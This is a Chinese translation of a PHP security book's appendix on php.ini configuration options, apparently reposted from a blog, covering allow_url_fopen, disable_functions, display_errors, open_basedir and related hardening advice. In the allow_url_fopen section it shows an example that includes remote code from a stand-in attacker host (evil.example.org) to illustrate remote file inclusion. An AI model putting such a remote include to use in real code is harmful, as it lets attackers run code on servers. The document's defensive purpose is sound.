尽管本书的焦点是在于应用的安全性,但有一些配置选项是任何关心安全的开发者必需熟悉的。PHP的配置会影响你所写代码的行为以及你使用的技巧,必要时你需要稍稍负责一下应用程序以外的东西。

PHP的配置主要由一个名为php.ini的文件所指定。该文件包含很多配置选项,每一项都会对PHP产生非常特定的影响。如果该文件不存在,或者该文件中的某选项不存在,则会使用默认值。

如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )来确定PHP中对该文件路径的定义:

<?php

phpinfo();

?>

图A-1 所示的第六行(配置文件(php.ini)路径)显示了php.ini的完整路径。如果只显示了路径(没有文件名),这就意味着PHP无法在所示路径找到php.ini文件。

该文件包含的自身说明非常好,因此你可以阅读该文件并选择适合你的配置选项。而手册更是详细,所以在你需要某一选项的更多信息时,我推荐访问http://php.net/manual/ini.php

图A-1. phpinfo( ) 函数可用于php.ini文件的定位

A.1. allow_url_fopen

正如第六章所示,allow_url_fopen选项允许你如同本地文件一样引用远程资源:

<?php

$contents = file_get_contents('http://example.org/xss.html');

?>

在第五章中揭示了当它与include或require相结合时的危险性:

<?php

include 'http://evil.example.org/evil.inc';

?>

我推荐关闭allow_url_fopen选项,除非你的应用需要它。

A.2. disable_functions

disable_functions选项是非常有用的,它可以确保一些有潜在威胁的函数不能被使用。尽管可以建立规范去禁止使用这些函数,但在PHP配置中进行限制要比依赖于开发者对规范的遵循要可靠得多。

我建立对附录B列出的函数进行检查,看一下是否要对一些函数进行限制。

A.3. display_errors

PHP的错误报告可以帮助你发现你所写代码中的错误。当你开发应用时,把错误提示显示出来是取得即时反馈的有效方法,同时也可以加快开发速度。

在一个产品级的应用中,这一行为会成为一项安全风险。如果它显示错误信息,所有人就可以得知你的应用中的重要信息。

在产品中你需要关闭display_errors选项。

A.4. enable_dl

enable_dl选项用于控制dl()函数是否生效,该函数允许在运行时加载PHP扩展。

使用dl()函数可能导致攻击者绕过open_basedir限制,因此除非有必要,你必须在你的应用中禁止它。

A.5. error_reporting

很多安全漏洞是由于使用了未初始化的变量或其它随意的编程方法引起的。通过把PHP的error_reporting选项置为E_ALL 或 E_ALL | E_STRICT,PHP就会对上述行为进行提示。这些设置都为报告Notice级别的错误。

我建议把error_reporting至少设定为E_ALL。(译注:在开发中)

A.6. file_uploads

file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。

只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。

A.7. log_errors

当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。

当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。

我建议将log_errors设为有效并在error_log设定日志文件所在位置。

A.8. magic_quotes_gpc

magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。

它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。

基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:

首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。

其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。

A.9. memory_limit

为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。

尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。

memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。

A.10. open_basedir

open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。

该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:

open_basedir = /path/to/

小提示

请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。

A.11. register_globals

见第二章

A.12. safe_mode

见第八章

转载于:https://www.cnblogs.com/czh-liyu/archive/2008/04/02/1133992.html

php 安全基础 附录 A. 配置选项相关推荐

  1. Linux内核移植之三:内核配置选项

    内容来自 韦东山<嵌入式Linux应用开发完全手册> Linux内核配置选项多达上千个,一个个地进行选择既耗费时间,对开发人员的要求也比较高(需要了解每个配置选项的作用).一般的做法是在某 ...

  2. HTTP基础及基本配置

    HTTP基础及基本配置 1.配置监听的地址和端口: Listen [IP:]PORT 例如:Listen 80 监听所有80端口 2.配置所选用的MPM的属性 配置使用编译进不同MPM的httpd,编 ...

  3. Highcharts 配置语法;Highcharts 配置选项详细说明

    Highcharts 配置语法 本章节我们将为大家介绍使用 Highcharts 生成图表的一些配置. 第一步:创建 HTML 页面 创建一个 HTML 页面,引入 jQuery 和 Highchar ...

  4. axios 请求的配置选项

    这些是创建请求时可以用的配置选项.只有url是必须的,如果没有指定method,请求将默认使用get方法. axiosaxios 最全 请求拦截器 响应拦截器 配置公共请求头 超时时间 以及get d ...

  5. Visual Studio Code Go插件配置选项

    Visual Studio Code Go插件配置选项 go get命令和go install命令的区别 go get 命令的作用 从远程下载需要用到的包 下载完之后,执行go install go ...

  6. 内核编译配置选项含义

    Linux 2.6.19.x 内核编译配置选项简介 作者:金步国 版权声明 本文作者是一位自由软件爱好者,所以本文虽然不是软件,但是本着 GPL 的精神发布.任何人都可以自由使用.转载.复制和再分发, ...

  7. Swiper学习之二---swiper的配置选项 ①

    上一篇文章,我们大家来一起认识了Swiper的初级操作,有没有觉得很简单易学呢,哈哈哈,其实这玩意本来就不太难.我认为凡是有文档可以读的,大部分的东西都是为了方便我们使用的不是吗,所以肯定都是易懂易学 ...

  8. Docker 基础介绍及配置安装 [一]

    Docker 基础介绍及配置安装 [一] Docker 基础介绍及配置安装 [一] Docker 时间:2016年11月2日 Docker介绍 Docker是Docker.lnc公司开源的一个基于LX ...

  9. kafka文档: 配置选项翻译

    2019独角兽企业重金招聘Python工程师标准>>> 问题导读 1.broker.id的作用是什么? 2.max.message.bytes表示什么含义? 3.group.id是用 ...

最新文章

  1. 服务发现技术选型那点事儿
  2. java 命令行 读取文件_java读取txt文件
  3. 蓝牙耳机测试用例_移动端测试用例设计总结,这些你得懂!
  4. GPE监控多台MySQL_zabbix监控多个服务器
  5. java 收集系统资源_方法:Linux 下用JAVA获取CPU、内存、磁盘的系统资源信息
  6. 1115. Counting Nodes in a BST (30) 数据结构
  7. android+内存清理+代码,最新版本:Android一键式清理,内存清理功能的实现
  8. 利用JQuery在动态页面的倒计时器
  9. 【转】用Setup Factory 7.0制作安装程序
  10. 【问题6】Redis 的过期策略都有哪些?内存淘汰机制都有哪些?
  11. java中比例尺,地图比例尺换算原理
  12. sudo: /etc/sudoers is owned by uid xxx, should be 0
  13. mysql级联更新优化_mysql级联更新
  14. EpiQuik病毒RNA提取试剂盒,快速、简单、经济有效
  15. “图书管理系统”数据视图
  16. [转]NSIS常用代码整理
  17. 如何在CSDN博客栏目中添加“给我写信”
  18. Ubuntu 16.04 和18.04 命令行配置802.1x无线网络连接方法(针对北邮校园网BUPT-mobile)
  19. Zabbix监控端口
  20. Opencv minMaxLoc与minMaxIdx的区别。

热门文章

  1. 【图像处理】透视变换 Perspective Transformation(小细节修正和推导流程补充)
  2. 设置 mock_Quasar 使用 Mock.js
  3. 2017总结、2018展望
  4. Java操作Oracle
  5. dnf公共频道服务器不稳定已从初始化状态,合区前兆?DNF公共频道开启跨区添加好友服务...
  6. mysql window下 安装udf_最新版MySQL在window平台安装
  7. ios 表情符号 键盘_ios – 将键盘布局更改为表情符号
  8. runtime批处理mysql导出_【原】使用批处理BAT文件处理Mysql数据库 | 学步园
  9. android webview capturepicture,android webView截图的4种方法
  10. 复制assert目录文件到私有目录_在电脑上复制目录的方法